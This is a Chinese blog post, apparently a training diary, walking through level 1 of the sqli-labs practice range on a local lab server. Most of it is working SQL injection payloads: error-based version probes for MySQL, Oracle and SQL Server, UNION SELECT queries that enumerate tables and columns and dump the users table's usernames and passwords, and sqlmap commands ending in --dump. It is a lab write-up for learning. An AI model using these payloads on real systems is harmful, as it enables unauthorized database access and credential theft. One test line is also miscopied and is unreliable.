在职老D渗透日记day6:sqli-labs靶场通关(第1关)

5.sqli-labs靶场通关

5.1.第一关

5.1.1.手动注入

安装firefox浏览器插件hackbar

数字型

id=1 and 1=1 和 id=1 and 1=2 产生不同反馈的原理,这是检测数字型 SQL 注入漏洞的经典手段。

id=1 and 1=1    永真,返回数据
id=1 and 1=2    永假,返回空

字符型

逃逸字符串环境+构造合法逻辑+注释

id=1' and '1'='1' --+    永真,返回数据
id=1' and '1'='2' --+    永假,返回空
--空格和--+都是注释符
(1)判断注入类型(有无注入点)
?id=1 and 1=1            返回数据
?id=1 and 1=2            返回数据,表明不是数字型sql注入
?id=1' and '1'='1'--+    返回数据
?id=1' and '1'='1'--+    返回空,表明是字符型sql注入
(2)判断字段数
?id=1' order by 3--+    返回数据
?id=1' order by 4--+    返回空,表明字段数为3

(3)判断数据库类型

mysql数据库

id=1' AND updatexml(1,concat(0x7e,version()),1)--+                                   
oncat(0x7e,version())中0x7e是十六进制表示的波浪符~,version()是MySQL函数返回数据库版本,拼接后是~5.7.26这样的字符串
updatexml()是mysql的XML处理函数,如果参数不符合XPath格式会报错。updatexml()第二个参数需要是合法XPath表达式,但以~开头必然非法,导致报错
若页面返回类似错误:XPATH syntax error: '~5.7.32'说明是MySQL,且版本是5.7.32

oracle数据库

id=1' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1))--+
oracle中v$version视图存储版本信息,banner是版本详情字段,rownum=1取第一行(通常就是主版本)
ctxsys.drithsx.sn是oracle的文本索引包中的函数,若参数类型错误会报错,利用ctxsys.drithsx.sn函数对非法的参数类型(此处是字符串版本)产生报错,并将版本信息暴露在错误中
错误信息可能包含:ORA-20000: Oracle Text error: DRG-11701: thesaurus 5.7.32 does not exist其中5.7.32部分实际是版本信息(这里是示例)

sqlserver数据库

id=1' AND 1=convert(int,@@version)--+
@@version是SQL Server全局变量,返回数据库版本字符串
convert(int,@@version)尝试将版本字符串(如'Microsoft SQL Server 2019 (RTM)...')转为整数int,必然失败
类型转换错误会暴露在报错信息中,而报错信息包含转换失败的值(即版本字符串)
错误页面会显示类似:Conversion failed when converting the varchar value 'Microsoft SQL Server 2019 (RTM)...' to data type int.完整版本信息可见

(4)使用联合查询union select 判断回显位置
?id=1' union select 5,6,7--+    5,6,7对应3字段,没有反应,因为id=1执行了,后面的不会覆盖
?id=-1' union select 5,6,7--+   id=-1,让前面的不执行,只显示第二、三字段

(5)查询数据库名
?id=-1' union select 5,database(),7--+
数据库名为security

(6)查询表名
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 6,7,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat(table_name) from information_schema.tables where table_schema='security'
group_concat()是mysql中一个聚合函数,用于将分组后的多个值连接成一个字符串
table_name                        表名
from information_schema.tables    从记录表名的数据库中查找
table_schema='security'           数据库名位security

如果group_concat显示不全,就用下面这个方法

http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,table_name from information_schema.tables where table_schema='security' limit 0,1--+
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,table_name from information_schema.tables where table_schema='security' limit 1,1--+
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,table_name from information_schema.tables where table_schema='security' limit 2,1--+
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,table_name from information_schema.tables where table_schema='security' limit 3,1--+
?id=-1' union select 5,6,7--+
table_name from information_schema.tables where table_schema='security' limit 0,1
limit 0,1    emails表
limit 1,1    referers表
limit 2,1    uagents表
limit 3,1    users表
(7)查询字段名
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 6,7,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
table_schema='security'    数据库名security
table_name='users'         表名users
column_name                字段名

http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1--+
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 5,6,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1--+
?id=-1' union select 5,6,7--+
column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
limit 0,1    id
limit 1,1    username
limit 2,1    password
(8)查询账号密码
http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 6,7,group_concat(id,0x7e,username,0x3a,password) from users--+
group_concat(id,0x7e,username,0x3a,password) from users
0x7e    十六进制分隔符~
0x3a    十六进制分隔符:

http://192.168.10.102/sqli-labs/Less-1/?id=-1' union select 6,username,password from security.users limit 0,1--+
select 6,username,password from security.users limit 0,1
limit 7,1    admin:admin

5.1.2.sqlmap自动注入
sqlmap完整工作流程总结

枚举数据库--dbs→ 获得数据库名(如security

枚举表名-D 数据库名 --tables→ 获得表名(如users, emails

枚举字段-D 数据库名 -T 表名 --columns→ 获得字段名(如id, username, password

导出数据-D 数据库名 -T 表名 --dump→ 获取敏感数据(如账号密码)

(1)枚举数据库
sqlmap -u "http://192.168.10.102/sqli-labs/Less-1/?id=1" --dbms mysql -v 1 -batch -p id --dbs

(2)枚举表名

数据库名为security

sqlmap -u "http://192.168.10.102/sqli-labs/Less-1/?id=1" --dbms mysql -v 1 -batch -p id -D security --tables

(3)枚举字段
sqlmap -u "http://192.168.10.102/sqli-labs/Less-1/?id=1" --dbms mysql -v 1 -batch -p id -D security -T users --columns

(4)导出数据

sqlmap -u "http://192.168.10.102/sqli-labs/Less-1/?id=1" --dbms mysql -v 1 -batch -p id -D security -T users --dump 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值